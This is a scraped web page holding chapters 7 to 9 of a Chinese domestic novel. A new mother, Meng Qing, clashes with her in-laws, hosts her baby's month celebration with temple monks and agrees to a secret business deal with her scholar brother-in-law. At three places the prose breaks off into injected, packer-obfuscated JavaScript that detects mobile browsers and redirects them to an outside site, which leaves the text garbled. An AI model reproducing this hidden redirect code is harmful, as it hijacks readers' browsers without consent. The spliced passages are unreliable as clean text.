“满意。”孟青坦然承认她就是故意的,她看向杜父,说:“爹,想不想好好过日子要看你们,你们是怎么待我娘家人的,你们自己心里有数。” 杜老丁阴恻恻地盯着她,她竟然敢承认,比他想的有种。 孟青眼不眨地回视。 “行了,都别闹了。”杜老丁率先垂下眼,他看出孟青是个硬茬子,是个祸秧子,不是好欺负的。他跟杜母说:“去拿钱,老二去请厨子去买酒菜,既然客人都请来了,那就风风光光地办。老二媳妇,这口气出了,这事就过去了,以后不准再提。行吗?” “行。” “老大跟我进来。”杜老丁扭头进屋。 7. 第七章 杜母心不甘地剜着孟青,恨不能把她扒皮吃了。 “走着瞧,你早晚有求我的一天。”她放狠话。 “我知道,先过着吧,那是以后的事,谁先痛快谁舒心。”孟青毫不避讳地承认。 杜母一听更气了。 “拿钱去吧。”孟青勾唇一笑。 杜母被气得“嗷”的一嗓子跑了,她大声骂:“我是瞎眼了才让你进门,我做了什么孽啊!” “嚷嚷什么?不嫌丢脸?”杜父气不顺地骂。 杜母顿时哑声了。 孟青抱臂看向杜黎,她等他质问,他却一声不吭,抬脚回屋抱哇哇大哭的孩子。 孟青叹一声,她抬脚踹了踹门槛,不管梦是不是真的,她是真把公婆得罪死了。没法子啊,她不得罪她受罪,还是先痛快了再说。 “早上还有点冷,进屋里来,你还没出月子。”杜黎在屋里喊。 孟青噔噔噔地进屋,她走到床边一屁股重重坐下,身子一歪头一靠,她枕在男人肩上,高高掀起眼皮偷觑他,“你怪不怪我?” 杜黎身子发僵,他觑着大开的门,说:“你坐好。” “我累……” “你后不后悔嫁给我?”他问,“你不后悔,我就不怪你。” “当然不后悔。”孟青抬手摸摸儿子的脸蛋,说:“望舟还很小,留给我们的时间还很多,我们要多攒钱,以后我们儿子去念书不求人。” 杜黎心想种地如何攒钱,他蓦然想起杜悯之前的提议,不行…… “钱拿去!”杜母提着七贯钱扔出来,铜钱撒了一地。 铜子落地的声音灌进杜黎的耳朵,像是一击嘴巴子扇在他脸上,他攥了攥拳头,把怀里的孩子交给孟青,“我去捡,你哄孩子。” 孟青抱着孩子跟到门口,她看杜黎蹲下身一枚一枚地捡铜钱,头颅垂着,瘦削的后背弯成一道弓。 她眼神冷漠地盯着杜母,问:“折辱你自己生的儿子你高兴吗?” 杜母脸色不自然,她偏开脸,嘴硬地说:“我自己的儿子,我爱怎么着就怎么着。” 孟青咬牙,她深呼吸两下,轻拍着孩子说:“乖,不哭啊。” 她把孩子放回床里侧,把针线篓里的东西倒出去,提着篓子出门蹲下捡铜钱。 “青娘,你进去。”杜黎眼圈发红。 孟青不理。 “孟青,你回屋里去。”杜黎去拉她。 “我陪你一起,快点捡。”离出月子只剩三天了,孟青不在乎了。 “做这样子给谁看。”杜母厌恶地嘀咕。 杜黎抬头盯着她,眼神冷得好似深井里的水,杜母心里一惊,她虚张声势地骂:“反天了,你这是什么眼神?我是你娘。” 杜黎垂下眼,他蹲下继续捡铜子。 杜父走出来,他盯着蹲地捡钱的两个人,不耐烦地咂一声,“你又在搞什么鬼?嫌家里还不够闹腾是吧?” 杜母不搭理,她自顾自说:“捡钱多好,有人给我撒钱我抢着捡。” 杜明立在二老背后看着这一切,他颠了颠手里的一贯铜钱,轻哼一声,说:“爹,娘,我这就去我丈人家接锦书娘回来。” “嗯,去吧,记得我说的。”杜父交代。 杜明揣着一贯钱离家,杜父随后扛着锄头拎一兜豆粒下地干活儿,他们父子俩都走了,杜母也待不下去了,她拎着筐去摘桑叶。 杜黎和孟青头也不抬地在院子里捡半个时辰,把滚落在角角落落里的铜子都捡回来,再一个个串起来。 “一桌至少要备一升酒,按十桌席面准备,你去沽二斗酒。”孟青执着她自己做的炭笔在纸上写字,“慧明爱喝三勒浆,你去西域商人开的店里买,能买到,沽个一升就够了。小沙弥们喝米酒,沽个一斗。余下的亲戚们,给他们喝清酒,沽五升。” 杜黎点头表示记下了,“一桌席要备七斤羊肉,十斤猪肉,鱼虾合计三盆。我去打听打听,买两只肥羊一头肥猪牵回来。鱼、虾、豆腐、水芹和莼菜等,办席的当天托过路的船送过来。” “行。”孟青盘算盘算,说:“鱼要买银鱼、白鲢和刁鱼,不要买草鱼,虾买白虾,要新鲜的,拿回来做鲜食。” 末了,她又说:“钱要是不够用,你跟我说,我再添点。之前算计的都不谈了,眼下只为给望舟庆满月,给他好好办一场,以后可没有这个排场了。” “好。” 杜黎当即拿上钱去渡口等船。 在杜黎离开后,孟青去灶房给自己煮五个鸡蛋吃,吃饱了躺回床上抱着孩子睡觉。 杜母摘桑叶回来看见满院子的鸡屎和丢在泔水桶里的鸡蛋壳又是骂,“鸡屁—眼里拉出来的蛋你们晓得吃,拉出来的屎就不知道扫,懒得浑身爬蛆。” 到底是怕孟青听到记仇,她也只敢小声骂。 晌午,杜黎没能回来,杜明一家也没回来,家里只有老两口和孟青带个孩子,杜母喊杜父吃饭的时候,孟青不再等送饭的,她开门出去吃。 杜父看见她就想到他给出去的八贯钱,一季的早稻刚插下去就没了,他顿时没了吃饭的胃口。 “爹,你早饭没吃,午饭还不吃?别饿出毛病了。还生气呢?你早上不是嘱咐我这事就此翻篇吗?我做到了,你老人家也别臭着脸了。”孟青以一对二还有心思撩架,她直来直去地说:“吃吧,你饿出毛病,我罪过就大了。” 杜父没想到她脸皮就这么厚,敢出来跟他们坐一起吃饭就罢了,还有脸说出这种话。 “我心疼钱,吃不下。”他也不装了,硬梆梆地说。 “收我嫁妆钱的时候,你有没有高兴得一顿吃三大碗饭?”孟青看好戏地问,“我爹娘一下子拿出去一百二十贯钱,可也没心疼得吃不下睡不着。你们心胸狭隘,这样不行啊,还得锤打修炼。” 杜父脸又垮了,杜母啪的一下把筷子砸桌上。 孟青权当没看见,她自顾自感叹:“还是你们精明,养儿子娶媳妇还能赚钱……也不知道二十年后,我能不能靠我儿子赚上这样的一笔钱。” “够了啊!”杜父听不下去了,“有你这么跟长辈说话的?” “我早上就说了,想不想好好过日子看你们,你们老两口一个黑着脸一个阴着脸,闹得我不痛快,我不得不多想。”孟青无奈。 杜父盯着她,他恶意地威胁:“你就不怕被休?” “怕什么?被休了我就立女户,我还能分到五十亩田。”孟青想笑,他怕是还没想明白,她如今已经彻底摆脱商人的身份,她的子孙不会再受商人户籍带来的影响。 杜父惊愕,随之心里抑制不住地生出佩服,他不知该感叹商人性奸,还是该承认老二媳妇的确是个聪明人。 “我开玩笑的,你在我们家孩子都生了,我们做公婆的,哪会做出这等恶事。”杜父见威胁不了她,瞬间变了态度,他端碗吃饭,不再拉拉个脸。 杜母吃不下,她时不时瞥孟青一眼,这个人心思深得让人生惧,她越发厌恶,真是引了条毒蛇进家门。 孟青吃饱了,她放下碗筷,和颜悦色地说:“娘,下午喂蚕的活计交给我吧,你安心去种豆子。不过晚饭还是你做,我这几天还不能碰凉水。” 杜母有些反应不过来,她直愣愣地盯着她。 “行。”杜父替老婆子答应下来,他明白老二媳妇是在缓和关系,她不怕被休,但也想好好在杜家过日子。 至此,杜家爆发的战火沉闷无声地熄灭了,翁媳婆媳三人,默契地出手掩盖住灰烬下未灭的火星。 杜黎买酒回来察觉他爹娘态度大变,不免疑惑,他请教孟青用了什么法子,孟青说是他爹娘大度,他不信。 次日,杜明带着妻儿拎着大包小包回来,不知道他是如何哄的,李红果回来后不吵也不闹了。 杜家回归和平的状态。 * 三月二十九,杜黎把看好的两只羊一只猪全部赶回来。 三月三十的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15825236|175494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上午,杜老丁带着杜黎去族人家里拜访,邀请他们来家里给孩子过满月。 下午,平望镇的厨子带着灶具和桌椅来到杜家湾。 稍晚的时间,杀猪宰羊的声音响彻整个村。 杜家湾十七户村民在傍晚归家后,齐聚在杜老丁家看热闹,有人说:“杜老丁,我还想着你小儿子要娶媳妇了,又是买羊又是买猪的,排场铺这么大。你这个二孙子莫非也是个神童?过个满月比你儿子娶媳妇还热闹。还是说你发财了?” “是我二孙子有福气,他伯外祖是瑞光寺的空慧大师,明天空慧大师安排他亲传弟子来给我们望舟祈福念经,还有二三十个小沙弥,这可是贵人家小公子才有的待遇。”杜老丁满脸的得意,压根看不出勉强的意思,他笑容满面地说:“明天大伙儿要是不忙,都来观礼。我杜老丁四五十岁了,可没见过这种场面,你们也都开开眼。” “呦!空慧大师是你二儿媳的伯父?是亲的?”村民问。 “亲的。”杜老丁肯定地说,“明天都来啊,来喝杯薄酒。” 不管会不会来,这些人当场答应得痛快,之后赶在杜家饭好之前离开。 这晚,厨子把猪内脏和部分羊内脏炖煮了,杜老丁的大哥、三弟还有三家堂亲在这儿用过一顿饭,答应腾出半天时间过来帮忙。 次日一早,杜家的族人早早就来了,扫地、清洗桌椅、布置供桌、准备贡品…… 孟青穿上她最贵的一身衣裳,把杜黎也从头到脚打扮一通,夫妻俩收拾妥当,接着收拾孩子,要掐着点让他排空肠子,还要让他吃饱不闹。 “阿黎,渡口来船了,快去迎接。”杜黎三叔来喊。 孟家花半贯钱包了十艘船,十艘船齐刷刷地驶向渡口,河渠附近干活儿的人都看见了。 渡口,人上岸,空船离开,下一艘船再过来…… 在田里劳作的村民纷纷赶回来,渡口的人越聚越多。 杜老丁站在两拨人中间,听着村人的啧啧议论声,他陡然生出一个荒诞的念头,这七贯钱花得值。 孟青抱着孩子在院外相迎,她跟人群中的爹娘对上视线,又一齐看向热络地跟慧明说话的杜老丁,三人不约而同地露出笑。 “慧明师兄,劳烦你舟车劳顿过来一趟。”孟青亲切地迎上去跟慧明打招呼。 “应该的,师父有要事在身,我替他走一趟。”二人较为相熟,慧明直接伸手接过孩子,他仔细打量一圈,说:“孟施主,贵子日后必有作为。” 孟青眼睛一亮。 杜老丁也眼睛发亮,“慧明大师,你还精通看相啊?” “精通算不上,略懂一点。”慧明望一眼天色,说:“快到时辰了,供桌摆好了?” “摆好了,请跟我来。”杜黎站出来领路。 一干人等进屋落座,喝过一遍茶水后,中堂里的人被清空,只余孟青抱着孩子跪坐在蒲团上,慧明带着二十八个小沙弥立在供桌后念经。 其他的人纷纷挤在门外默默探头观望。 祈过福,慧明亲自动手给望舟剃胎发,他见孩子不哭不闹,睁着一双黑亮的眼睛望着他,他取下手腕上缠的佛珠给他戴上。 “小施主,佛珠赠给你了,护你平安长大。” “谢大师相赐。”孟青替望舟道谢,“家里已备好宴席,各位小师傅请跟我入座。” 这时,杜悯带着他的六个同窗赶到了,杜父一看见他,忙抓着他去见慧明,“大师,这是我小儿子,如今在崇文书院念书,你给他看看,看他哪年能高中。” “爹……”杜悯欲图阻止。 “别说话。”杜父呵斥。 “我曾与这位施主见过。”慧明开口。 “见过大师,我曾两次跟着谢夫子去听过一空大师讲经。”杜悯见礼。 “大师,你看……” 慧明的目光从杜悯脸上移开,他看向孟青,说:“开席吧。” 杜父一脸的疑惑,过后便是惊惧。 8. 第八章 “爹,子不语怪力乱神,科举考查的是每个学子的学识,而非运气和命运。”杜悯脸色不好,他冲慧明俯身行一礼,歉意道:“大师见谅,我爹不懂其中的道理,打扰了。” “杜学子所言极是。”慧明接话,他看向杜父说:“杜老施主,科举牵连着国运,能走上朝堂的是福人,岂是贫僧能多言的。” 杜父脸色急转,苍白惊惧的面色迅速回暖,“是我着相了,是我昏头了。大师,各位小师傅,请跟我来,酒菜已备好。” 话是这么说,待客人全部入席,杜老丁找到孟青,“老二媳妇,我不懂大师的规矩,是不是我没给香火钱他才不肯给我个准话?你去问问,要是因为这个,明天我带阿悯去瑞光寺给佛祖添香油钱。” “慧明大师不是解释了,科举关乎国运,他不敢算。”孟青说。 “他给望舟算的日后必有作为,难不成不是指在仕途上?”杜老丁暗恼,他执拗地认为是钱不到位的原因。 孟青心想她哪知道,她压根不知道慧明还有这本事,要是知道他能掐会算,她嫁杜黎之前就先找他替她把关了。 “行,我去问问。”她也挺好奇的。 和尚们吃席的席面摆在杜家湾的祠堂里,杜家湾的十七户村民大多是同一个姓氏,往上数七代是同一个祖宗。 孟青等席吃得差不多了,她赶在慧明带小沙弥们做午课之前提着茶水过去。 “师兄,你过来时,空慧大师有没有交代你捎什么话给我?”她寻个借口走进去搭话。 “交代我来给你帮个忙。”慧明失笑。 “啊?那你看相一说是真是假?”孟青探问。 “出家人不打诳语。” 孟青大喜,她忙端端正正地拎起一直没放下的茶壶给慧明斟一杯,“那我小叔子……” “出家人不打诳语。”慧明还是那句话,除此之外不多吐一言。 孟青识趣地不再追问,她不再打扰,放下茶壶退了出去。 “老二媳妇,大师怎么说?”杜父心急地守在祠堂外。 “不是钱财的问题,慧明大师是真不能看。之前三弟不是说他曾随夫子两次去听一空大师讲经,一空大师是慧明大师的师祖,佛法高深,要是能看,三弟应该托一空大师看过了。”孟青不在这种事上诓他,她出言相劝:“三弟也说了,科举是检验诸多学子的学识,而非命运。若是能看相选官,就没有科举考试一途了。三弟不足十六岁就凭自身的学识考进吴县最出名的书院,还屡次在崇文书院夺得魁首,他进士及第是早晚的事。” 杜老丁头次体会到她口齿伶俐带来的顺心,这番话说得多中听啊,他冷静下来,说:“是我着急了,也不知道会不会让阿悯在他同窗面前丢脸。” “想来三弟的好友能理解你的拳拳爱子之心。” 杜老丁掀起垂拉的眼皮看她,他忍不住说:“老二媳妇,你还挺会说话。” “我说过,想不想好好过日子看你们如何待我。我嫁过来是盼着好好过日子的,又不是跟你杜家有仇,存心闹得家里鸡犬不宁。”孟青再次强调是他们有错在先。 “前些日子是你婆母做得过分了,我会说她的。”杜老丁给出态度。 孟青讽刺一笑,你又是什么好东西。 回到杜家,孟青把这档子事抛在脑后,她去陪她的娘家人唠嗑说话。 未时中,慧明派小沙弥来说时辰不早了,该回城了。 孟父孟母和孟青舅父们一行人起身离开。 杜家没多余的客房,杜悯带回来的同窗好友不能留下过夜,他们也随之离开。 杜家所有人一路将客人相送到渡口,顾无夏站在船尾看杜悯二嫂言辞随意地跟慧明道别,他扭头跟岸上的杜悯说:“悯弟,初八的佛诞日你真不跟我们一起去?还是你要单独一人前往?” “不去,近几日要写一篇策论,我想静心雕琢。”杜悯回答,“无夏兄,你们去,回头我们再聚。” “行吧。”顾无夏见和尚们乘坐的船离开,他忙吩咐船家跟上去 “青娘,得空带孩子去家里坐坐。”孟青的三舅登船时嘱咐。 “一定去。”孟青站在石阶上挥别。 待所有船只离去,杜家人往回走。 回到家,杜黎发现杜悯的身影,他疑惑道:“三弟,你没跟你同窗一起回书院?” “我明天走。”杜悯回答。 “还有事?”杜黎警惕,“书院十天休一日,今日休明日便不休,你明天走赶得上夫子授课?” “我们不是日日都要上课,夫子布置的有策论,按规定的日子,我们把策论交上去就行了。余下的日子,夫子不约束我们的行动。”杜悯解释。 “还能这样?你们夫子可真轻松。”杜母不乐意。 杜父瞧杜悯几眼,问:“明年也如此?那交给他的束脩还跟以往一样?” 杜悯无奈,他耐心解释:“夫子修改策论不比授课清闲,写什么策论也不是他随口就定下的,像政论著作、《疏议》、《通典》、以及朝堂上的风向变动,很多是我接触不到的,都是通过谢夫子我才能得知。我们不上课的日子,夫子没有休息玩乐,他要会见友人、要听经辩论,之后再带我们去拜会他结下的人脉,这些远比他教我们咏经诵典更贵重。爹,你说我少给束脩行吗?” “是爹不知道这里面的条条道道,我不说了。今天办席还剩下一条羊腿,你明天走的时候给夫子送去。”杜父像个孙子一样慌忙改口。 “不用了。”杜悯硬梆梆地拒绝,“我回屋了。” “行行行,你去书房看书,前院杂乱,免得影响你。”杜父丝毫不恼,他扭头说:“他娘,你跟锦书娘去把阿悯屋里的席面撤出来,打扫干净,可别引来耗子去啃咬他的书。” 孟青目送杜悯的身影消失,她移开目光进屋,厨子已经把屋里的桌椅和席面撤走了,但地面上还有油水和骨渣鱼刺,她拿起扫帚仔仔细细再扫一遍。 未时末,家里里里外外打扫干净,厨子把他们带来的灶具和桌椅也都打点好了,杜黎把余钱交给他们,和他叔伯兄弟一起帮忙把灶具和桌椅送到渡口。 随着厨子的离开,这一场满月宴就此落下帷幕。 * 离天黑还有一个多时辰,杜父叫上家里人下地干活儿,因孟青有幼儿要照顾,她留在家里整理蚕室。 杜家养的春蚕有一万一千只左右,蚕室里立着两个三人合抱的木架子,每个木架子上有三个蚕箔,蚕箔里密密麻麻都是一指长的白蚕,里面的桑叶已经吃空了。 孟青提起蚕箔里铺的软竹布,黑色的蚕沙混着桑叶碎屑和碎茎顺着竹布的空隙掉落,她把蚕沙扫成一堆铲进桶里,再把竹布摊回蚕箔里,抓起筐里的桑叶撒上去。 “二嫂,要帮忙吗?”杜悯的声音在蚕室外响起。 孟青头也不回,说:“不用,你看书去吧,喂蚕是个轻松活儿,我一个人做得来。” 杜悯应声却没动。 “三弟,还有事?”孟青明知故问。 “是,想跟二嫂商量个事。” “那你等等,我把蚕喂了就出去。” 二人是叔嫂关系,杜黎又不在家,为避嫌,孟青从蚕室出去选择在院子里谈话。 “三弟,商量什么事?”孟青盯着他问。 杜悯引她往中堂门前走,避免被过路的人听去话音。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15825237|175494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“还是之前提过的那个事,二嫂之后有没有再考虑?今天我带回来的六个同窗,一个是县尉家的少爷,一个是县令的侄子,两个出身范阳卢氏姻亲家的分支,另外两个是吴县当地乡绅之子。他们都是家底丰厚之人,只要二嫂能点头,我能让他们成为孟家纸马店的常客。”杜悯利诱。 孟青疑惑,“你似乎对我太过信任了,你确定我出手就能做出你和你的同窗们都满意的纸扎?” “十年前,孟家纸马店还不叫这个名字,甚至没有名字,如寻常市井杂业一样,就挂个凶肆的牌子,铺子里卖木材低廉的棺木、纸钱和香烛,铺子里的营收主要来自卖给瑞光寺的纸钱和香烛,获利微薄。” “你九岁那年,你爹娘被你劝动,二老在跟一个手艺人学了一年的竹编之后,凶肆改名孟家纸马店。铺子舍弃卖棺木,改卖花圈、纸人、纸马、纸轿等,最初的纸人纸马纸轿等明器由你一个人上色勾勒图案,甚至纸钱上的神像都由你亲自画。在纸马店改行三年后,你们才攒下一笔钱在嘉鱼坊买到二进院落,一家四口彻底从纸马店搬出去。”杜悯说得干脆利落,显然,他已经把孟家乃至孟青的底细查清楚了。 孟青变了脸,“你查我?” “不算,你们一家住在瑞光寺山下十多年,很容易能打听到你的往事。二嫂,你别抵触,孟兄弟透露你比你爹更擅长纸扎活儿,我总要确认此话的真假。毕竟姜是老的辣,酒是陈的香,在年龄上,孟阿叔更有优势。但在二嫂身上,天分打败了年龄带来的优势。”杜悯不吝啬赞美。 他诚恳道:“我很佩服二嫂在十余岁的年纪推动纸马店在一众明器店里脱颖而出,孟家纸马店能在丧葬行业站稳根脚绝对离不开你的功劳。但凭借你一人之力,纸马店只能十年如一日是这个发展。受前朝遗留的厚葬之风影响,富人贵人看不上纸马纸轿;受草纸价格影响,穷人买不起纸质明器:余下的那一撮人里,能接受纸马纸人取代陶俑陶器做为明器的,还得是信佛之人。” 杜悯详细叙述他的分析,继而说:“近几年,圣人主张薄葬,打击厚葬之风,但政令落实下来收效甚微,原因之一就是明器无替代品。我在吴县最大的书院念书,还屡次在考试中斩获魁首,只要我就厚葬薄葬一事多写几篇策论,大力推崇圣人的政令,书院里的学子都将会是纸马店的客人,孟家纸马店的困局能借此打破。” 唐代丧葬业盛行厚葬之风,墓中陪葬多为实物和精美的陶器,后世普遍使用的纸人、纸马、纸轿等纸质明器还没出现,只有纸钱使用广泛。但佛教盂兰节有烧寒衣的传统,孟青在年幼时发现这个商机,便劝说爹娘改行做起纸扎生意,并借佛法之力,为纸马店挣下立足之地。 十年前,孟青仅有九岁,且还是个出身商户的女娃娃,她能力有限,只能做到这个地步。十年后的她,此时对杜悯所说的生意经十分心动,并且坚信他此举绝对能见成效。 孟家纸马店的生意打开销路、杜悯获利、她也能为望舟攒下读书的钱,一举便能三赢。 “二嫂,如何?”杜悯询问。 “三弟,我坚信你会进士及第。”孟青不怀疑了,她的梦是真的。 “多谢二嫂的赏识。”杜悯会心一笑,“所以你答应了?” “你给我写个凭据,免得日后你爹娘冤枉我拐带你行商贾之事。”孟青向他索要把柄。 杜悯迟疑,“此事我希望二嫂保密,我不想我爹娘知道,他们日后也不会知道此事。” 如果没有那个梦,孟青此时肯定答应了,之后事情的发展会如梦里一样,不知哪个环节走漏风声,事发后罪名全在她身上。 “我就这一个要求,你考虑考虑。”孟青态度坚决,不肯回圜。 9. 第九章 杜悯思量过后,他同意了。 一盏茶后,孟青接过墨迹未干的白麻纸,上面写有三句话:事关纸马店之事,皆由我主动与二嫂商议,爹娘勿要责怪于她。 落款:杜悯。 孟青扫一眼纸上所言,不清不楚的,她并不满意。她面上滴水不漏,继续说:“行,我们接着商量下一步的事,也是最紧要的,你打算抽几分利?” “二嫂是如何想的?”杜悯打探底细。 “因你之故来纸马店的客人,经我之手卖出去的纸质明器,抛除各种成本,我拿五分利,五分利中分你两分利。受你推广的影响,纸扎店打出名声,必将引来书院之外的客人,这部分盈利给你两分利,我不要。”孟青思索着说,“你看看,这种分利你能不能接受。” “二嫂慷慨。”这跟杜悯自己谋算的差不多,若是卖给顾无夏一对纸制飞马,成本四贯,卖价十贯,获利六贯,孟青从中拿三贯,他能拿到一贯又二百文钱,他就不用再做抄书的活计。再多卖两对纸马,他就能买下《括地志》和《大唐西域记》手抄本,不用再频繁赖在顾无夏家里讨书看。 “二嫂,这两笔分利都要经过你的手交给我,不管怎么分利都是分在你头上,其中不能有我的身影。”杜悯事先声明。 “我了解,你放心,这其中的分利只是我娘家人给我的私房钱,我在纸马店做事也只是给我娘家帮忙,不涉及商贾之利。”孟青心里有数。 “这个说法合理。”杜悯拊掌,如此一来,此事的唯一风险就是孟家人向官府检举。 “二嫂,你跟你爹娘商量的时候,最好言辞委婉一些,跟他们表明分给你的那笔钱是给你的私房钱,而非分利。最重要的是这笔钱不能走账,在账本上不要留下任何痕迹。”杜悯叮嘱她。 “我还要防着我娘家人?”孟青惊讶又不解。 杜悯笑笑,“我是为二嫂着想。” 孟青点头,“你说得在理,这样吧,在娘家人面前要防,在婆家人这边也要留一手。三弟,你把我们商议的分利方式一五一十写下来,再按个手印,我留个底。” 杜悯愕然,“二嫂,你难不成疑心我会反咬你一口?” “三弟,你难不成害怕我会害你?”孟青反问,“我生下你们杜家的孩子,为了望舟,我也不会伤你一毫。你明白的,我嫁进杜家,还愿意把嫁妆钱全部交给公婆,看重的就是我的子孙,赌的就是你的前程。” “对啊,我不害你,你不害我,还写字据做什么?”杜悯很是抗拒,他不愿意给自己留下一个隐患。 “万事都要有个契约,买房要房契,买地要地契,我们做生意也是,有个字据免得以后扯皮。”孟青坚持。 杜悯笑着摇头,他沉默反抗。 孟青也不松口,恰好孩子醒了,她进屋去哄孩子,把杜悯一个人留在外面。 杜悯听着稚儿的哭声,他想起孟青的话,有这个孩子在,她就不会毁了他,更何况他一旦毁了,她的全部筹谋都打水漂了。 赌了! 一张纸顺着门缝飘进来,孟青看去,她听到脚步声离开。 喂完孩子,孟青过去把纸捡起来,这份字据就写得正式多了,从缘由到协商的分利结果一一写得清楚明白,有落款有手印。 孟青开箱,她拿出她出嫁那天穿的红布鞋,这个色的鞋她这辈子穿不上第二次。她把鞋底的衬布剪开,字据和凭证分开塞进两只鞋的衬布下,再用针线把口子缝上。 一切收拾妥当,孟青抱着孩子开门出去,杜悯不在院子里,蚕室的门开着,她走过去问:“三弟,我需要什么时候回娘家?” “明天可以吗?我明天回书院,后天和顾无夏一起拿他祖父收藏的字画去纸马店找你。”杜悯说。 “行,我这就去收拾我跟你侄子的行李。”孟青态度积极,她走几步又折转回去问:“你二哥那里是你去说还是我来说?” 杜悯长叹一声,“我来说吧,他是个不知变通的,可别一惊一乍闹得全家都知道了。” 孟青权当没听出他话里的嫌弃,他们是一个娘窝里的亲兄弟,胳膊肘总是向内拐的,嫌弃也只是一时的。 不多时,天色转暗,孟青哄睡孩子,她去灶房做饭,晌午剩的有剩菜,晚上煮一锅大米粥就行了。 舀米的时候,杜黎回来了,他是一个人先回来的,回来头一件事就是找孟青,“三弟没再找你胡说八道吧?” “找了。” 杜黎观她神色,他心里咯噔一声,大感不妙。 “二哥,我们聊聊吧。”杜悯的身影从中堂出来,他站在暮色里看向远处,问:“爹娘还没回来?他们什么时候回来?我们去祠堂那边说话可好?” “就在家里说,爹娘和大哥大嫂去永业田摘桑叶了,要小半个时辰才能回来。”说罢,杜黎阴着脸问:“你既然敢做,还怕爹娘知道?你就这点胆子?” 杜悯没说话。 杜黎看向孟青,话到嘴边,他口风一改,盯着杜悯质问:“你屎堵心窍了?非要碰商贾之事?你缺钱用?” “缺。”杜悯神色发凉,他肯定地重复:“二哥,我缺钱。” “家里给的不够?你做什么需要这么多钱?”杜黎心惊。 “不够,我有很多要用钱的地方,我需要买书,需要出门交际,想攒钱负笈游历。”杜悯回答。 “你念书就念书,搞这么多花样?你需要买多少书?让爹娘给你拿钱。”杜黎很不理解,他疑心杜悯是不是学坏了。 孟青能理解,朝廷每年科举考试选拔的人才仅三百到五百人,杜悯一个农家出来的学子,家无底蕴,如何能跟富有藏书的士族子弟竞争。作为前世经历过多年苦读的她,她清楚地明白,就算杜悯是神童在世,他也需要名师和古籍珍本的浇灌。 “三弟需要的书,家里可能承担不起,他要买要看的书不止一本两本,而是经年累月要持续购入,或者是从他交往的同窗家里借阅藏书,他向别人借书,总要付诸相等甚至更高的报酬。”孟青忍不住出言相助,“甚至于,苏州别的书院若请来大儒讲学,三弟钱财若自由,他能和其他富裕的学子一样不用考虑车船费,轻装简行赶去旁听。” 杜悯如遇知音,他没想到,这个家里最懂他的竟是商户女出身的二嫂。 “就是二嫂这个意思。”杜悯心情大快,他一时来了倾述的欲望,说:“二哥,如今市面上常见的书籍于我如鸡肋,没什么大的帮助。我需要的是在个别学子以及夫子们手上握着的各种古籍、珍本和大儒注解手抄本,一本少说要一两贯钱。这些书我买不起,只能借来夜以继日地抄,一旦书主要用书,我得立马还回去。今年四个月我断断续续才抄完一本书,长此以往,我一年顶多抄三本书,太耽误事,也消磨我的身体。” “除了书籍,我去佛寺听经得付香油钱,陪夫子拜访友人偶尔要付船资或饭资,去同窗举办的文会,我得备份礼……如此等等,累计起来是不小的支出。而这份开支,我不忍心压在你们身上,压得你们省吃俭用,甚至绝了我侄子们上进的路。”杜悯老实交代他因何缺钱,他继续解释:“至于二嫂带来的嫁妆钱,那是给我用来上京赶考的路费,我不能动。” 还有一点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15825238|175494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杜悯不敢说,他今日若不想法子赚钱攒钱,他日一举未中,一百二十贯的路费再消耗尽了,他二次上京赶考哪来的路费?两个兄长都已成亲生子,届时只能拿他的亲事去换取钱财,他不愿意。 杜黎渐渐走神,他想起刚满月的儿子,慧明大师批语望舟日后必有作为,但杜悯只要还在用钱,家里就不可能有余力供望舟念书。 “二哥,你放心,我跟二嫂都清楚此事要冒多大的风险,我们行事会小心。”杜悯保证。 杜黎态度松动,他看向孟青,“你答应了?” “三弟把我说服了。” 杜黎瞥杜悯一眼,这小子心思真够深的。 “二哥,你就答应吧。”杜悯央求,他快步过来一把勾住杜黎的肩,一手做发誓状:“二哥,你跟二嫂对我的付出,小弟铭记在心,此生不敢相忘。日后我但凡有出人头地的机会,必倾尽全力帮助望舟。” “这可是你说的。”杜黎斜眼瞅他。 “我说的。”杜悯拍胸脯保证。 “行,我不阻拦你了。”杜黎彻底松口。 杜悯松一口气,他满怀欣喜地躬身一拜:“二哥二嫂受小弟一拜。” “行了,别贫了。”杜黎扶起他,“爹娘快回来了……” “二哥,此事事关重大,瞒着爹娘为好,免得爹娘日夜为我提心吊胆。”杜悯叮嘱。 杜黎下意识不想答应,然而锦书和巧妹牵牛回来了,这事不适合再谈,他暂时放下隐忧。 晚上吃饭,杜悯一直在等孟青提明日回娘家一事,但她如忘了一样,始终不露口风。 “阿悯,你明天不急着回书院吧?要不吃过午饭再走?明天让你娘留家里把羊腿炖了。”杜父问。 杜悯瞟孟青一眼,说:“行,过午乘船暖和些。” 孟青还是对回娘家一事绝口不提,屋里睡觉的孩子醒了,她起身回屋哄孩子。 杜悯只能耐心等待。 * 